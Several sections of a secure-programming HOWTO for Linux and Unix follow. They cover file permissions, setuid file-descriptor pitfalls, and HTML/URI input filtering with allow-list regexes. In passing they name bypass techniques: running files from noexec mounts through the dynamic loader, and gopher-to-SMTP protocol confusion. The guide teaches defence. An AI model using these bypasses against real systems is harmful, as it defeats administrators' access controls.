Prev Next

Chapter 3. Summary of Linux and Unix Security Features

Discretion will protect you, and understanding will guard you.
Proverbs 2:11 (NIV)
Table of Contents
3.1. Processes
3.1.1. Process Attributes
3.1.2. POSIX Capabilities
3.1.3. Process Creation and Manipulation
3.2. Files
3.2.1. Filesystem Object Attributes
3.2.2. Creation Time Initial Values
3.2.3. Changing Access Control Attributes
3.2.4. Using Access Control Attributes
3.2.5. Filesystem Hierarchy
3.3. System V IPC
3.4. Sockets and Network Connections
3.5. Signals
3.6. Quotas and Limits
3.7. Dynamically Linked Libraries
3.8. Audit
3.9. PAM
3.10. Specialized Security Extensions for Unix-like Systems

Before discussing guidelines on how to use Linux or Unix security features, it's useful to know what those features are from a programmer's viewpoint. This section briefly describes those features that are widely available on nearly all Unix-like systems. However, note that there is considerable variation between different versions of Unix-like systems, and not all systems have the abilities described here. This chapter also notes some extensions or features specific to Linux; Linux distributions tend to be fairly similar to each other from the point-of-view of programming for security, because they all use essentially the same kernel and C library (and the GPL-based licenses encourage rapid dissemination of any innovations). It also notes some of the security-relevant differences between different Unix implementations, but please note that this isn't an exhaustive list. This chapter doesn't discuss issues such as implementations of mandatory access control (MAC) which many Unix-like systems do not implement. If you already know what those features are, please feel free to skip this section.

Many programming guides skim briefly over the security-relevant portions of Linux or Unix and skip important information. In particular, they often discuss ``how to use'' something in general terms but gloss over the security attributes that affect their use. Conversely, there's a great deal of detailed information in the manual pages about individual functions, but the manual pages sometimes obscure key security issues with detailed discussions on how to use each individual function. This section tries to bridge that gap; it gives an overview of the security mechanisms in Linux that are likely to be used by a programmer, but concentrating specifically on the security ramifications. This section has more depth than the typical programming guides, focusing specifically on security-related matters, and points to references where you can get more details.

First, the basics. Linux and Unix are fundamentally divided into two parts: the kernel and ``user space''. Most programs execute in user space (on top of the kernel). Linux supports the concept of ``kernel modules'', which is simply the ability to dynamically load code into the kernel, but note that it still has this fundamental division. Some other systems (such as the HURD) are ``microkernel'' based systems; they have a small kernel with more limited functionality, and a set of ``user'' programs that implement the lower-level functions traditionally implemented by the kernel.

Some Unix-like systems have been extensively modified to support strong security, in particular to support U.S. Department of Defense requirements for Mandatory Access Control (level B1 or higher). This version of this book doesn't cover these systems or issues; I hope to expand to that in a future version. More detailed information on some of them is available elsewhere, for example, details on SGI's ``Trusted IRIX/B'' are available in NSA's Final Evaluation Reports (FERs).

When users log in, their usernames are mapped to integers marking their ``UID'' (for ``user id'') and the ``GID''s (for ``group id'') that they are a member of. UID 0 is a special privileged user (role) traditionally called ``root''; on most Unix-like systems (including Unix) root can overrule most security checks and is used to administrate the system. On some Unix systems, GID 0 is also special and permits unrestricted access to resources at the group level [Gay 2000, 228]; this isn't true on other systems (such as Linux), but even in those systems group 0 is essentially all-powerful because so many special system files are owned by group 0. Processes are the only ``subjects'' in terms of security (that is, only processes are active objects). Processes can access various data objects, in particular filesystem objects (FSOs), System V Interprocess Communication (IPC) objects, and network ports. Processes can also set signals. Other security-relevant topics include quotas and limits, libraries, auditing, and PAM. The next few subsections detail this.

Prev | Home | Next
Document Conventions |  | Processes


File Contents

Secure Programming for Linux and Unix HOWTO
Prev Chapter 4. Validate All Input Next

4.4. File Contents

If a program takes directions from a file, it must not trust that file specially unless only a trusted user can control its contents. Usually this means that an untrusted user must not be able to modify the file, its directory, or any of its ancestor directories. Otherwise, the file must be treated as suspect.

If the directions in the file are supposed to be from an untrusted user, then make sure that the inputs from the file are protected as describe throughout this book. In particular, check that values match the set of legal values, and that buffers are not overflowed.

Prev | Home | Next
File Descriptors | Up | Web-Based Application Inputs (Especially CGI Scripts)


File Descriptors

Secure Programming for Linux and Unix HOWTO
Prev Chapter 4. Validate All Input Next

4.3. File Descriptors

A program is passed a set of ``open file descriptors'', that is, pre-opened files. A setuid/setgid program must deal with the fact that the user gets to select what files are open and to what (within their permission limits). A setuid/setgid program must not assume that opening a new file will always open into a fixed file descriptor id. It must also not assume that standard input (stdin), standard output (stdout), and standard error (stderr) refer to a terminal or are even open.

The rationale behind this is easy; since an attacker can open or close a file descriptor before starting the program, the attacker could create an unexpected situation. If the attacker closes the standard output, when the program opens the next file it will be opened as though it were standard output, and then it will send all standard output to that file as well. Some C libraries will automatically open stdin, stdout, and stderr if they aren't already open (to /dev/null), but this isn't true on all Unix-like systems.

Prev | Home | Next
Environment Variables | Up | File Contents


Files

Secure Programming for Linux and Unix HOWTO
Prev Chapter 3. Summary of Linux and Unix Security Features Next

3.2. Files

On all Unix-like systems, the primary repository of information is the file tree, rooted at ``/''. The file tree is a hierarchical set of directories, each of which may contain filesystem objects (FSOs).

In Linux, filesystem objects (FSOs) may be ordinary files, directories, symbolic links, named pipes (also called first-in first-outs or FIFOs), sockets (see below), character special (device) files, or block special (device) files (in Linux, this list is given in the find(1) command). Other Unix-like systems have an identical or similar list of FSO types.

Filesystem objects are collected on filesystems, which can be mounted and unmounted on directories in the file tree. A filesystem type (e.g., ext2 and FAT) is a specific set of conventions for arranging data on the disk to optimize speed, reliability, and so on; many people use the term ``filesystem'' as a synonym for the filesystem type.

3.2.1. Filesystem Object Attributes

Different Unix-like systems support different filesystem types. Filesystems may have slightly different sets of access control attributes and access controls can be affected by options selected at mount time. On Linux, the ext2 filesystems is currently the most popular filesystem, but Linux supports a vast number of filesystems. Most Unix-like systems tend to support multiple filesystems too.

Most filesystems on Unix-like systems store at least the following:

  • owning UID and GID - identifies the ``owner'' of the filesystem object. Only the owner or root can change the access control attributes unless otherwise noted.

  • permission bits - read, write, execute bits for each of user (owner), group, and other. For ordinary files, read, write, and execute have their typical meanings. In directories, the ``read'' permission is necessary to display a directory's contents, while the ``execute'' permission is sometimes called ``search'' permission and is necessary to actually enter the directory to use its contents. In a directory ``write'' permission on a directory permits adding, removing, and renaming files in that directory; if you only want to permit adding, set the sticky bit noted below. Note that the permission values of symbolic links are never used; it's only the values of their containing directories and the linked-to file that matter.

  • ``sticky'' bit - when set on a directory, unlinks (removes) and renames of files in that directory are limited to the file owner, the directory owner, or root privileges. This is a very common Unix extension and is specified in the Open Group's Single Unix Specification version 2. Old versions of Unix called this the ``save program text'' bit and used this to indicate executable files that should stay in memory. Systems that did this ensured that only root could set this bit (otherwise users could have crashed systems by forcing ``everything'' into memory). In Linux, this bit has no effect on ordinary files and ordinary users can modify this bit on the files they own: Linux's virtual memory management makes this old use irrelevant.

  • setuid, setgid - when set on an executable file, executing the file will set the process' effective UID or effective GID to the value of the file's owning UID or GID (respectively). All Unix-like systems support this. In Linux and System V systems, when setgid is set on a file that does not have any execute privileges, this indicates a file that is subject to mandatory locking during access (if the filesystem is mounted to support mandatory locking); this overload of meaning surprises many and is not universal across Unix-like systems. In fact, the Open Group's Single Unix Specification version 2 for chmod(3) permits systems to ignore requests to turn on setgid for files that aren't executable if such a setting has no meaning. In Linux and Solaris, when setgid is set on a directory, files created in the directory will have their GID automatically reset to that of the directory's GID. The purpose of this approach is to support ``project directories'': users can save files into such specially-set directories and the group owner automatically changes. However, setting the setgid bit on directories is not specified by standards such as the Single Unix Specification [Open Group 1997].

  • timestamps - access and modification times are stored for each filesystem object. However, the owner is allowed to set these values arbitrarily (see touch(1)), so be careful about trusting this information. All Unix-like systems support this.

The following attributes are Linux-unique extensions on the ext2 filesystem, though many other filesystems have similar functionality:

  • immutable bit - no changes to the filesystem object are allowed; only root can set or clear this bit. This is only supported by ext2 and is not portable across all Unix systems (or even all Linux filesystems).

  • append-only bit - only appending to the filesystem object are allowed; only root can set or clear this bit. This is only supported by ext2 and is not portable across all Unix systems (or even all Linux filesystems).

Other common extensions include some sort of bit indicating ``cannot delete this file''.

Many of these values can be influenced at mount time, so that, for example, certain bits can be treated as though they had a certain value (regardless of their values on the media). See mount(1) for more information about this. These bits are useful, but be aware that some of these are intended to simplify ease-of-use and aren't really sufficient to prevent certain actions. For example, on Linux, mounting with ``noexec'' will disable execution of programs on that file system; as noted in the manual, it's intended for mounting filesystems containing binaries for incompatible systems. On Linux, this option won't completely prevent someone from running the files; they can copy the files somewhere else to run them, or even use the command ``/lib/ld-linux.so.2'' to run the file directly.

Some filesystems don't support some of these access control values; again, see mount(1) for how these filesystems are handled. In particular, many Unix-like systems support MS-DOS disks, which by default support very few of these attributes (and there's not standard way to define these attributes). In that case, Unix-like systems emulate the standard attributes (possibly implementing them through special on-disk files), and these attributes are generally influenced by the mount(1) command.

It's important to note that, for adding and removing files, only the permission bits and owner of the file's directory really matter unless the Unix-like system supports more complex schemes (such as POSIX ACLs). Unless the system has other extensions, and stock Linux 2.2 doesn't, a file that has no permissions in its permission bits can still be removed if its containing directory permits it. Also, if an ancestor directory permits its children to be changed by some user or group, then any of that directory's descendants can be replaced by that user or group.

The draft IEEE POSIX standard on security defines a technique for true ACLs that support a list of users and groups with their permissions. Unfortunately, this is not widely supported nor supported exactly the same way across Unix-like systems. Stock Linux 2.2, for example, has neither ACLs nor POSIX capability values in the filesystem.

It's worth noting that in Linux, the Linux ext2 filesystem by default reserves a small amount of space for the root user. This is a partial defense against denial-of-service attacks; even if a user fills a disk that is shared with the root user, the root user has a little space left over (e.g., for critical functions). The default is 5% of the filesystem space; see mke2fs(8), in particular its ``-m'' option.

3.2.2. Creation Time Initial Values

At creation time, the following rules apply. On most Unix systems, when a new filesystem object is created via creat(2) or open(2), the FSO UID is set to the process' EUID and the FSO's GID is set to the process' EGID. Linux works slightly differently due to its FSUID extensions; the FSO's UID is set to the process' FSUID, and the FSO GID is set to the process' FSGUID; if the containing directory's setgid bit is set or the filesystem's ``GRPID'' flag is set, the FSO GID is actually set to the GID of the containing directory. Many systems, including Sun Solaris and Linux, also support the setgid directory extensions. As noted earlier, this special case supports ``project'' directories: to make a ``project'' directory, create a special group for the project, create a directory for the project owned by that group, then make the directory setgid: files placed there are automatically owned by the project. Similarly, if a new subdirectory is created inside a directory with the setgid bit set (and the filesystem GRPID isn't set), the new subdirectory will also have its setgid bit set (so that project subdirectories will ``do the right thing''.); in all other cases the setgid is clear for a new file. This is the rationale for the ``user-private group'' scheme (used by Red Hat Linux and some others). In this scheme, every user is a member of a ``private'' group with just themselves as members, so their defaults can permit the group to read and write any file (since they're the only member of the group). Thus, when the file's group membership is transferred this way, read and write privileges are transferred too. FSO basic access control values (read, write, execute) are computed from (requested values & ~ umask of process). New files always start with a clear sticky bit and clear setuid bit.

3.2.3. Changing Access Control Attributes

You can set most of these values with chmod(2), fchmod(2), or chmod(1) but see also chown(1), and chgrp(1). In Linux, some of the Linux-unique attributes are manipulated using chattr(1).

Note that in Linux, only root can change the owner of a given file. Some Unix-like systems allow ordinary users to transfer ownership of their files to another, but this causes complications and is forbidden by Linux. For example, if you're trying to limit disk usage, allowing such operations would allow users to claim that large files actually belonged to some other ``victim''.

3.2.4. Using Access Control Attributes

Under Linux and most Unix-like systems, reading and writing attribute values are only checked when the file is opened; they are not re-checked on every read or write. Still, a large number of calls do check these attributes, since the filesystem is so central to Unix-like systems. Calls that check these attributes include open(2), creat(2), link(2), unlink(2), rename(2), mknod(2), symlink(2), and socket(2).

3.2.5. Filesystem Hierarchy

Over the years conventions have been built on ``what files to place where''. Where possible, please follow conventional use when placing information in the hierarchy. For example, place global configuration information in /etc. The Filesystem Hierarchy Standard (FHS) tries to define these conventions in a logical manner, and is widely used by Linux systems. The FHS is an update to the previous Linux Filesystem Structure standard (FSSTND), incorporating lessons learned and approaches from Linux, BSD, and System V systems. See http://www.pathname.com/fhs for more information about the FHS. A summary of these conventions is in hier(5) for Linux and hier(7) for Solaris. Sometimes different conventions disagree; where possible, make these situations configurable at compile or installation time.

I should note that the FHS has been adopted by the Linux Standard Base which is developing and promoting a set of standards to increase compatibility among Linux distributions and to enable software applications to run on any compliant Linux system.

Prev | Home | Next
Processes | Up | System V IPC


Filter HTML/URIs That May Be Re-presented

Secure Programming for Linux and Unix HOWTO
Prev Chapter 4. Validate All Input Next

4.10. Filter HTML/URIs That May Be Re-presented

One special case where cross-site malicious content must be prevented are web applications which are designed to accept HTML or XHTML from one user, and then send it on to other users (see Section 6.15 for more information on cross-site malicious content). The following subsections discuss filtering this specific kind of input, since handling it is such a common requirement.

4.10.1. Remove or Forbid Some HTML Data

It's safest to remove all possible (X)HTML tags so they cannot affect anything, and this is relatively easy to do. As noted above, you should already be identifying the list of legal characters, and rejecting or removing those characters that aren't in the list. In this filter, simply don't include the following characters in the list of legal characters: ``<'', ``>'', and ``&'' (and if they're used in attributes, the double-quote character ``"''). If browsers only operated according the HTML specifications, the ``>"'' wouldn't need to be removed, but in practice it must be removed. This is because some browsers assume that the author of the page really meant to put in an opening "<" and ``helpfully'' insert one - attackers can exploit this behavior and use the ">" to create an undesired "<".

Usually the character set for transmitting HTML is ISO-8859-1 (even when sending international text), so the filter should also omit most control characters (linefeed and tab are usually okay) and characters with their high-order bit set.

One problem with this approach is that it can really surprise users, especially those entering international text if all international text is quietly removed. If the invalid characters are quietly removed without warning, that data will be irrevocably lost and cannot be reconstructed later. One alternative is forbidding such characters and sending error messages back to users who attempt to use them. This at least warns users, but doesn't give them the functionality they were looking for. Other alternatives are encoding this data or validating this data, which are discussed next.

4.10.2. Encoding HTML Data

An alternative that is nearly as safe is to transform the critical characters so they won't have their usual meaning in HTML. This can be done by translating all "<" into "&lt;", ">" into "&gt;", and "&" into "&amp;". Arbitrary international characters can be encoded in Latin-1 using the format "&#value;" - do not forget the ending semicolon. Encoding the international characters means you must know what the input encoding was, of course.

One possible danger here is that if these encodings are accidentally interpreted twice, they will become a vulnerability. However, this approach at least permits later users to see the "intent" of the input.

4.10.3. Validating HTML Data

Some applications, to work at all, must accept HTML from third parties and send them on to their users. Beware - you are treading dangerous ground at this point; be sure that you really want to do this. Even the idea of accepting HTML from arbitrary places is controversial among some security practitioners, because it is extremely difficult to get it right.

However, if your application must accept HTML, and you believe that it's worth the risk, at least identify a list of ``safe'' HTML commands and only permit those commands.

Here is a minimal set of safe HTML tags that might be useful for applications (such as guestbooks) that support short comments: <p> (paragraph), <b> (bold), <i> (italics), <em> (emphasis), <strong> (strong emphasis), <pre> (preformatted text), <br> (forced line break - note it doesn't require a closing tag), as well as all their ending tags.

Not only do you need to ensure that only a small set of ``safe'' HTML commands are accepted, you also need to ensure that they are properly nested and closed (i.e., that the HTML commands are ``balanced''). In XML, this is termed ``well-formed'' data. A few exceptions could be made if you're accepting standard HTML (e.g., supporting an implied </p> where not provided before a <p> would be fine), but trying to accept HTML in its full generality (which can infer balancing closing tags in many cases) is not needed for most applications. Indeed, if you're trying to stick to XHTML (instead of HTML), then well-formedness is a requirement. Also, HTML tags are case-insensitive; tags can be upper case, lower case, or a mixture. However, if you intend to accept XHTML then you need to require all tags to be in lower case (XML is case-sensitive; XHTML uses XML and requires the tags to be in lower case).

Here are a few random tips about doing this. Usually you should design whatever surrounds the HTML text and the set of permitted tags so that the contributed text cannot be misinterpreted as text from the ``main'' site (to prevent forgeries). Don't accept any attributes unless you've checked the attribute type and its value; there are many attributes that support things such as Javascript that can cause trouble for your users. You'll notice that in the above list I didn't include any attributes at all, which is certainly the safest course. You should probably give a warning message if an unsafe tag is used, but if that's not practical, encoding the critical characters (e.g., "<" becomes "&lt;") prevents data loss while simultaneously keeping the users safe.

4.10.4. Validating Hypertext Links (URIs/URLs)

Careful readers will notice that I did not include the hypertext link tag <a> as a safe tag in HTML. Clearly, you could add <a href="safe URI"> (hypertext link) to the safe list (not permitting any other attributes unless you've checked their contents). If your application requires it, then do so. However, permitting third parties to create links is much less safe, because defining a ``safe URI''[1] turns out to be very difficult. Many browsers accept all sorts of URIs which may be dangerous to the user. This section discusses how to validate URIs from third parties for re-presenting to others, including URIs incorporated into HTML.

First, let's look briefly at URI syntax (as defined by various specifications). URIs can be either ``absolute'' or ``relative''. The syntax of an absolute URI looks like this:
scheme://authority[path][?query][#fragment]
A URI starts with a scheme name (such as ``http''), the characters ``://'', the authority (such as ``www.dwheeler.com''), a path (which looks like a directory or file name), a question mark followed by a query, and a hash (``#'') followed by a fragment identifier. The square brackets surround optional portions - e.g., many URIs don't actually include the query or fragment. Some schemes may not permit some of the data (e.g., paths, queries, or fragments), and many schemes have additional requirements unique to them. Many schemes permit the ``authority'' field to identify optional usernames, passwords, and ports, using this syntax for the ``authority'' section:
 [username[:password]@]host[:portnumber]
The ``host'' can either be a name (``www.dwheeler.com'') or an IPv4 numeric address (127.0.0.1). A ``relative'' URI references one object relative to the ``current'' one, and its syntax looks a lot like a filename:
path[?query][#fragment]
There are a limited number of characters permitted in most of the URI, so to get around this problem, other 8-bit characters may be ``URL encoded'' as %hh (where hh is the hexadecimal value of the 8-bit character). For more detailed information on valid URIs, see IETF RFC 2396 and its related specifications.

Now that we've looked at the syntax of URIs, let's examine the risks of each part:

  • Scheme: Many schemes are downright dangerous. Permitting someone to insert a ``javascript'' scheme into your material would allow them to trivially mount denial-of-service attacks (e.g., by repeatedly creating windows so the user's machine freezes or becomes unusable). More seriously, they might be able to exploit a known vulnerability in the javascript implementation. Some schemes can be a nuisance, such as ``mailto:'' when a mailing is not expected, and some schemes may not be sufficiently secure on the client machine. Thus, it's necessary to limit the set of allowed schemes to just a few safe schemes.

  • Authority: Ideally, you should limit user links to ``safe'' sites, but this is difficult to do in practice. However, you can certainly do something about usernames, passwords, and port numbers: you should forbid them. Systems expecting usernames (especially with passwords!) are probably guarding more important material; rarely is this needed in publicly-posted URIs, and someone could try to use this functionality to convince users to expose information they have access to and/or use it to modify the information. Such URIs permis semantic attacks; see Section 6.16 for more information. Usernames without passwords are no less dangerous, since browsers typically cache the passwords. You should not usually permit specification of ports, because different ports expect different protocols and the resulting ``protocol confusion'' can produce an exploit. For example, on some systems it's possible to use the ``gopher'' scheme and specify the SMTP (email) port to cause a user to send email of the attacker's choosing. You might permit a few special cases (e.g., http ports 8008 and 8080), but on the whole it's not worth it. The host when specified by name actually has a fairly limited character set (using the DNS standards). Technically, the standard doesn't permit the underscore (``_'') character, but Microsoft ignored this part of the standard and even requires the use of the underscore in some circumstances, so you probably should allow it. Also, there's been a great deal of work on supporting international characters in DNS names, which is not further discussed here.

  • Path: Permitting a path is usually okay, but unfortunately some applications use part of the path as query data, creating an opening we'll discuss next. Also, paths are allowed to contain phrases like ``..'', which can expose private data in a poorly-written web server; this is less a problem than it once was and really should be fixed by the web server. Since it's only the phrase ``..'' that's special, it's reasonable to look at paths (and possibly query data) and forbid ``../'' as a content. However, if your validator permits URL escapes, this can be difficult; now you need to prevent versions where some of these characters are escaped, and may also have to deal with various ``illegal'' character encodings of these characters as well.

  • Query: Query formats (beginning with "?") can be a security risk because some query formats actually cause actions to occur on the serving end. They shouldn't, and your applications shouldn't, as discussed in Section 4.11 for more information. However, we have to acknowledge the reality as a serious problem. In addition, many web sites are actually ``redirectors'' - they take a parameter specifying where the user should be redirected, and send back a command redirecting the user to the new location. If an attacker references such sites and provides a more dangerous URI as the redirection value, and the browser blithely obeys the redirection, this could be a problem. Again, the user's browser should be more careful, but not all user browsers are sufficiently cautious. Also, many web applications have vulnerabilities that can be exploited with certain query values, but in general this is hard to prevent. The official URI specifications don't sanction the ``+'' (plus) character, but in practice the ``+'' character often represents the space character.

  • Fragment: Fragments basically locate a portion of a document; I'm unaware of an attack based on fragments as long as the syntax is legal, but the legality of its syntax does need checking. Otherwise, an attacker might be able to insert a character such as the double-quote (") and prematurely end the URI (foiling any checking).

  • URL escapes: URL escapes are useful because they can represent arbitrary 8-bit characters; they can also be very dangerous for the same reasons. In particular, URL escapes can represent control characters, which many poorly-written web applications are vulnerable to. In fact, with or without URL escapes, many web applications are vulnerable to certain characters (such as backslash, ampersand, etc.), but again this is difficult to generalize.

  • Relative URIs: Relative URIs should be reasonably safe (if you manage the web site well), although in some applications there's no good reason to allow them either.

Of course, there is a trade-off with simplicity as well. Simple patterns are easier to understand, but they aren't very refined (so they tend to be too permissive or too restrictive, even more than a refined pattern). Complex patterns can be more exact, but they are more likely to have errors, require more performance to use, and can be hard to implement in some circumstances.

Here's my suggestion for a ``simple mostly safe'' URI pattern which is very simple and can be implemented ``by hand'' or through a regular expression; permit the following pattern:
(http|ftp|https)://[-A-Za-z0-9._/]+

This pattern doesn't permit many potentially dangerous capabilities such as queries, fragments, ports, or relative URIs, and it only permits a few schemes. It prevents the use of the ``%'' character, which is used in URL escapes and can be used to specify characters that the server may not be prepared to handle. Since it doesn't permit either ``:'' or URL escapes, it doesn't permit specifying port numbers, and even using it to redirect to a more dangerous URI would be difficult (due to the lack of the escape character). It also prevents the use of a number of other characters; again, many poorly-designed web applications can't handle a number of ``unexpected'' characters.

Even this ``mostly safe'' URI permits a number of questionable URIs, such as subdirectories (via ``/'') and attempts to move up directories (via `..''); illegal queries of this kind should be caught by the server. It permits some illegal host identifiers (e.g., ``20.20''), though I know of no case where this would be a security weakness. Some web applications treat subdirectories as query data (or worse, as command data); this is hard to prevent in general since finding ``all poorly designed web applications'' is hopeless. You could prevent the use of all paths, but this would make it impossible to reference most Internet information. The pattern also allows references to local server information (through patterns such as "http:///", "http://localhost/", and "http://127.0.0.1") and access to servers on an internal network; here you'll have to depend on the servers correctly interpreting the resulting HTTP GET request as solely a request for information and not a request for an action, as recommended in Section 4.11. Since query forms aren't permitted by this pattern, in many environments this should be sufficient.

Unfortunately, the ``mostly safe'' pattern also prevents a number of quite legitimate and useful URIs. For example, many web sites use the ``?'' character to identify specific documents (e.g., articles on a news site). The ``#'' character is useful for specifying specific sections of a document, and permitting relative URIs can be handy in a discussion. Various permitted characters and URL escapes aren't included in the ``mostly safe'' pattern. For example, without permitting URL escapes, it's difficult to access many non-English pages. If you truly need such functionality, then you can use less safe patterns, realizing that you're exposing your users to higher risk while giving your users greater functionality.

One pattern that permits queries, but at least limits the protocols and ports used is the following, which I'll call the ``simple somewhat safe pattern'':
 (http|ftp|https)://[-A-Za-z0-9._]+(\/([A-Za-z0-9\-\_\.\!\~\*\'\(\)\%\?]+))*/?
This pattern actually isn't very smart, since it permits illegal escapes, multiple queries, queries in ftp, and so on. It does have the advantage of being relatively simple.

Creating a ``somewhat safe'' pattern that really limits URIs to legal values is quite difficult. Here's my current attempt to do so, which I call the ``sophisticated somewhat safe pattern'', expressed in a form where whitespace is ignored and comments are introduced with "#":
 (
 (
  # Handle http, https, and relative URIs:
  ((https?://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?))|
    ([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)?
  ((/([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
   (\?(                                                              # query:
       (([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+=
        ([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+
        (\&([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+=
         ([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*)
       |
       (([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+  # isindex
       )
   ))?
   (\#([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
  )|
 # Handle ftp:
 (ftp://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?)
  ((/([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
  (\#([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
  )
 )

Even the sophisticated pattern shown above doesn't forbid all illegal URIs. For example, again, "20.20" isn't a legal domain name, but it's allowed by the pattern; however, to my knowledge this shouldn't cause any security problems. The sophisticated pattern forbids URL escapes that represent control characters (e.g., %00 through $1F) - the smallest permitted escape value is %20 (ASCII space). Forbidding control characters prevents some trouble, but it's also limiting; change "2-9" to "0-9" everywhere if you need to support sending all control characters to arbitrary web applications. This pattern does permit all other URL escape values in paths, which is useful for international characters but could cause trouble for a few systems which can't handle it. The pattern at least prevents spaces, linefeeds, double-quotes, and other dangerous characters from being in the URI, which prevents other kinds of attacks when incorporating the URI into a generated document. Note that the pattern permits ``+'' in many places, since in practice the plus is often used to replace the space character in queries and fragments.

Unfortunately, as noted above, there are attacks which can work through any technique that permit query data, and there don't seem to be really good defenses for them once you permit queries. So, you could strip out the ability to use query data from the pattern above, but permit the other forms, producing a ``sophisticated mostly safe'' pattern:
 (
 (
  # Handle http, https, and relative URIs:
  ((https?://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?))|
    ([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)?
  ((/([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
   (\#([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
  )|
 # Handle ftp:
 (ftp://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?)
  ((/([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
  (\#([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
  )
 )

As far as I can tell, as long as these patterns are only used to check hypertext anchors selected by the user (the "<a>" tag) this approach also prevents the insertion of ``web bugs''. Web bugs are simply text that allow someone other than the originating web server of the main page to track information such as who read the content and when they read it - see Section 7.7 for more information. This isn't true if you use the <img> (image) tag with the same checking rules - the image tag is loaded immediately, permitting someone to add a ``web bug''. Once again, this presumes that you're not permitting any attributes; many attributes can be quite dangerous and pierce the security you're trying to provide.

Please note that all of these patterns require the entire URI match the pattern. An unfortunate fact of these patterns is that they limit the allowable patterns in a way that forbids many useful ones (e.g., they prevent the use of new URI schemes). Also, none of them can prevent the very real problem that some web sites perform more than queries when presented with a query - and some of these web sites are internal to an organization. As a result, no URI can really be safe until there are no web sites that accept GET queries as an action (see Section 4.11). For more information about legal URLs/URIs, see IETF RFC 2396; domain name syntax is further discussed in IETF RFC 1034.

4.10.5. Other HTML tags

You might even consider supporting more HTML tags. Obvious next choices are the list-oriented tags, such as <ol> (ordered list), <ul> (unordered list), and <li> (list item). However, after a certain point you're really permitting full publishing (in which case you need to trust the provider or perform more serious checking than will be described here). Even more importantly, every new functionality you add creates an opportunity for error (and exploit).

One example would be permitting the <img> (image) tag with the same URI pattern. It turns out this is substantially less safe, because this permits third parties to insert ``web bugs'' into the document, identifying who read the document and when. See Section 7.7 for more information on web bugs.

4.10.6. Related Issues

Web applications should also explicitly specify the character set (usually ISO-8859-1), and not permit other characters, if data from untrusted users is being used. See Section 8.5 for more information.

Since filtering this kind of input is easy to get wrong, other alternatives have been discussed as well. One option is to ask users to use a different language, much simpler than HTML, that you've designed - and you give that language very limited functionality. Another approach is parsing the HTML into some internal ``safe'' format, and then translating that safe format back to HTML.

Filtering can be done during input, output, or both. The CERT recommends filtering data during the output process, just before it is rendered as part of the dynamic page. This is because, if it is done correctly, this approach ensures that all dynamic content is filtered. The CERT believes that filtering on the input side is less effective because dynamic content can be entered into a web sites database(s) via methods other than HTTP, and in this case, the web server may never see the data as part of the input process. Unless the filtering is implemented in all places where dynamic data is entered, the data elements may still be remain tainted.

However, I don't agree with CERT on this point for all cases. The problem is that it's just as easy to forget to filter all the output as the input, and allowing ``tainted'' input into your system is a disaster waiting to happen anyway. A secure program has to filter its inputs anyway, so it's sometimes better to include all of these checks as part of the input filtering (so that maintainers can see what the rules really are). And finally, in some secure programs there are many different program locations that may output a value, but only a very few ways and locations where a data can be input into it; in such cases filtering on input may be a better idea.

Notes

[1]

Technically, a hypertext link can be any ``uniform resource identifier'' (URI). The term "Uniform Resource Locator" (URL) refers to the subset of URIs that identify resources via a representation of their primary access mechanism (e.g., their network "location"), rather than identifying the resource by name or by some other attribute(s) of that resource. Many people use the term ``URL'' as synonymous with ``URI'', since URLs are the most common kind of URI. For example, the encoding used in URIs is actually called ``URL encoding''.

Prev | Home | Next
Prevent Cross-site Malicious Content on Input | Up | Forbid HTTP GET To Perform Non-Queries


Follow Good Software Engineering Principles for Secure Programs

Secure Programming for Linux and Unix HOWTO
Prev Chapter 6. Structure Program Internals and Approach Next

6.1. Follow Good Software Engineering Principles for Secure Programs

Saltzer [1974] and later Saltzer and Schroeder [1975] list the following principles of the design of secure protection systems, which are still valid:

  • Least privilege. Each user and program should operate using the fewest privileges possible. This principle limits the damage from an accident, error, or attack. It also reduces the number of potential interactions among privileged programs, so unintentional, unwanted, or improper uses of privilege are less likely to occur. This idea can be extended to the internals of a program: only the smallest portion of the program which needs those privileges should have them. See Section 6.4 for more about how to do this.

  • Economy of mechanism/Simplicity. The protection system's design should be simple and small as possible. In their words, ``techniques such as line-by-line inspection of software and physical examination of hardware that implements protection mechanisms are necessary. For such techniques to be successful, a small and simple design is essential.'' This is sometimes described as the ``KISS'' principle (``keep it simple, stupid'').

